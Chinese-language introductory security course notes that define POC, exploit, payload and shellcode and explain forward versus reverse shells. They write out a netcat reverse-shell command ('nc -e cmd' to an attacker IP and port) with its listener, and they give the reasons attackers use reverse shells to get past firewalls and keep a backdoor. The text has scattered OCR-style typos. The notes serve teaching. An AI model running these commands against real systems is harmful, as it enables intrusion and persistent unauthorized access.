基础入门-操作系统&名词&文件下载&反弹 SHELL&防火墙绕过
1.POC、EXP、Payload与Shellcode
POC:全称Proofof Concept,中文”概念验证”,常指一段调洞证明的代码。EXP:全称Exploit”,中文”利用,指利用烈统漏洞进行攻击的动作Pavload: 中文有效就荷”,指成功exploit之后,真正在目标系统执行的代码或指令Shellcode: 简单翻译’shell代码”,是Payload的一种,由于其建立正向/反向shell而得名
1.2几点注意
POC是用来证明漏洞存在的,EXP是用来利用滑洞的,两者通常不是一类,或者说,PoC通常是无害的,Esp通常是有害的,有了POC,才有EXPPayload有很多种,它可以是Shellode,也可以直搜是一段系统命令,同一个Pad可以用于多个满洞,但每个温洞都有其自己的EXP,也就是说不存在通用的EXP.shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
nc 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用 TCP 或 UDP 协议的网络连接去读写数据。
本节课中使用nc命令完成了监听和反弹操作
首先使用服务器A(或主机)敲下以下命令 nc -e cmd ip地址 端口号 可以将cmd的权限移交给该ip地址的该端口号。
然后我们使用主机B敲下以下命令 nc - lvvp 端口号 命令进行监听该端口。当cmd权限移交完成,此时nc命令的监听功能便显现出来。
在主机B上敲下的cmd命令就相当控制服务器A敲下的cmd命令。这便是最典型的反弹操作。把服务器A的cmd权限反弹给主机B
但windows系统好像没有内置的nc(netcat),需要自行下载。
补充:
**正向shell:**控制端主动发起连接去连接被控制端
**反向shell:**被控制端主动连接控制端(也就是反弹shell)
那为什么需要用到反弹shell呢?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
某客户机中了你的网马,但是它在局域网内,你直接连接不了。
目标机器的ip动态改变,你不能持续控制。
由于防火墙等限制,对方机器只能发送请求,不能接收请求。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,
webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。
所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
反弹shell汇总,看我一篇就够了_lainwith的博客-CSDN博客_反弹shell这是链接,可以看一下。
https://blog.csdn.net/B_l_a_nk/article/details/129844602